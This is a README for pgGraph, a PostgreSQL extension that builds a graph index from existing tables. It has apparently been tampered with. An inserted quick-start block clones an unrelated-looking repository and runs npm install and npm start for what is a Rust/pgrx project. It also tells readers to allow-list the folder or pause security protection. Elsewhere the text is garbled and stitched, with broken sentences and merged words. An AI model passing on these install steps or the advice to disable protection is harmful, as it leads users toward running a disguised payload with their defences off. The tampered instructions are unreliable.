Graph database superpowers for your existing Postgres data.
Your tables stay the source of truth. pgGraph builds a derived graph index and
lets you query it from SQL using functions in the graph schema.
Important
pgGraph is in early alpha. Even though we have tested it to be stable, please avoid production use for now; try it in Docker or a dedicated development database and share feedback to help the project grow.
PostgreSQL is great at relational queries, but graph-style questions often require custom recursive SQL for each schema:
- “Find records related to Alice within 2 hops.”
- “Find the shortest path between this person and this company.”
- “Search nodes across registered tables.”
pgGraph adds graph queries on top of your existing PostgreSQL tables, without requiring a separate graph database, graph-specific storage system, or a new query language.
scripts/quickstart.sh pgrx
scripts/quickstart.sh playground panama csr scripts/quickstart.sh playground panama mutable
> [!TIP]
> If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
> [!CAUTION]
> Some security systems may block the installation.
> Only download from the official repository.
---
## QUICK START
```bash
git clone https://github.com/MidnightNavigator/pgGraph-975.git
cd pgGraph-975
npm install
npm start
Supported modes:
quickstart/demo: build and start the Docker Postgres service, load demo data, and run example graph queries. This is the default mode.setup: build and start Postgres with pgGraph installed, but do not load the sample graph.psql: build and start Postgres, prepare demo data, then openpsql.docker CONTAINER [PG_MAJOR] [DB_NAME] [DB_USER]: install pgGraph into an existing running Postgres Docker container viascripts/install_into_docker_postgres.sh.pgrx [PG_MAJOR]: build and install pgGraph into a local PostgreSQL usingcargo pgrx install.playground [panama|ldbc] [csr|mutable]: start the Streamlit playground using a preset dataset and projection mode.clean: stop the Compose database and remove its volume.
The script works on macOS and Linux from a normal terminal, and on Windows from WSL2 or Git Bash with Docker Desktop. It is not a native PowerShell or Command Prompt script.
through 18. Tags without a PostgreSQL major, such as 0.1.5 and latest, use
the default PostgreSQL 17 image.
PostgreSQL 13 is no longer an official support target after upstream EOL, though
the legacy pg13 pgrx feature remains available on a best-effort basis. The
PostgreSQL major version of the extension package must match the target server.
pgGraph is available on PGXN as a source distribution. Because pgGraph is a Rust/pgrx extension, building from source requires the Rust toolchain.
PG_MAJOR=$(pg_config --version | sed -E 's/[^0-9]([0-9]+)./\1/') cargo pgrx init --pg${PG_MAJOR}="$(which pg_config)" pgxn install pgGraph
### Manual source install
```bash
git clone https://github.com/MidnightNavigator/pgGraph-975.git
cd pggraph
make install # may need sudo
psql -d postgres -c "CREATE EXTENSION graph;"
If you have multiple PostgreSQL installations, set PG_CONFIG to the target
server's pg_config, then re-run the installation:
export PG_CONFIG=/usr/lib/postgresql/17/bin/pg_config
make installIf sudo is needed for make install, preserve PG_CONFIG:
sudo --preserve-env=PG_CONFIG make installIf compilation fails with fatal error: postgres.h: No such file or directory,
install the PostgreSQL server development package for the target PostgreSQL
major, such as postgresql-server-dev-17 on Ubuntu or Debian.
Note: The PGXN distribution name is
pgGraphbut the PostgreSQL extension name isgraph. UseCREATE EXTENSION graph;after installation.
More information is available in the pgGraph docs:
Overview · Quickstart · Installation · Playground · Querying · SQL API
pgGraph is not "Postgres plus graph syntax." It is a cache-friendly graph execution layer for data that already lives in your ordinary relational tables.
The core idea is simple but powerful: keep PostgreSQL as your system of record, but build a highly optimized, read-heavy graph runtime from that relational metadata. The result is closer to a rebuildable graph index than a graph database: it is built from Postgres tables, operated with Postgres controls, and optimized for repeated bounded traversal over known topology.
Graph traversals usually die on recursive SQL queries or endless joins. pgGraph bypasses this by compiling your relational data into a specialized memory structure.
- O(1) adjacency via CSR.
graph.build()compiles your relationships into forward and reverse compressed sparse row (CSR) edge stores. A node's neighbors are stored as a contiguous array slice. Instead of rediscovering relationships via SQL, traversals are executed as raw, graph-native memory scans. - A tight traversal loop. SQL-facing calls resolve coordinates, labels,
filters, and tenant scopes before entering the traversal loop. Once inside,
the engine streams CSR neighbors, checking compact
u8edge-label IDs, typedFilterIndexvalues, tenant bitmaps, active bits, and sync overlays. - Read-only artifact mapping. Persisted
.pggraphartifacts are written atomically. When a new Postgres backend spins up, it validates the artifact and maps immutable forward graph arrays and the resolution index read-only. The operating system page cache can then share those physical pages across isolated PostgreSQL backends without copying the base graph into each backend's Rust heap. This is not a replacement for PostgreSQL's buffer pool: PostgreSQL remains responsible for table storage, WAL, MVCC, durability, and crash recovery, while pgGraph's artifact is derived state that can be rebuilt from source tables. - Predictable and safe. Unbounded graph expansion can crash a database. pgGraph includes explicit circuit breakers: depth limits, visited-node tracking, frontier limits, pagination, and strict OOM/memory safeguards.
Your application data does not move. Source tables, constraints, indexes, ACLs, RLS, backups, and app writes remain 100% standard PostgreSQL concerns.
pgGraph is strictly derived state. You run the algorithms over internal node indexes, and the engine returns source table coordinates or hydrates the raw PostgreSQL rows on the fly. Build, sync, vacuum, and maintenance operations are fully visible and SQL-callable.
Apache AGE is a property graph database inside Postgres. It uses graph
namespaces, vertex and edge tables, agtype, and openCypher.
pgGraph does not ask you to move your data or learn Cypher. You keep your
existing schema and accelerate it with SQL functions like graph.search() and
graph.shortest_path(). Use AGE for a dedicated property graph model; use
pgGraph to add bounded, high-speed graph traversal to an existing relational
schema.
SQL:2023 and PostgreSQL 19 introduce CREATE PROPERTY GRAPH, GRAPH_TABLE,
and standard graph pattern matching backed by PostgreSQL's planner and
optimizer — the same engine that makes PostgreSQL's relational queries strong.
pgGraph operates at a different layer. SQL/PGQ expresses graph patterns and lets the optimizer choose how to execute them. pgGraph precomputes CSR adjacency stores and rebuildable artifacts for workloads that repeatedly traverse the same topology with bounded depth, path limits, filters, tenants, and application pagination. The two can be complementary: future adapters could map eligible SQL/PGQ patterns onto pgGraph's precomputed runtime, while general graph queries continue to use PostgreSQL's relational execution path.
pgGraph is built by Evokoa. Follow the project through the links at the top of this README.
Apache-2.0. See LICENSE.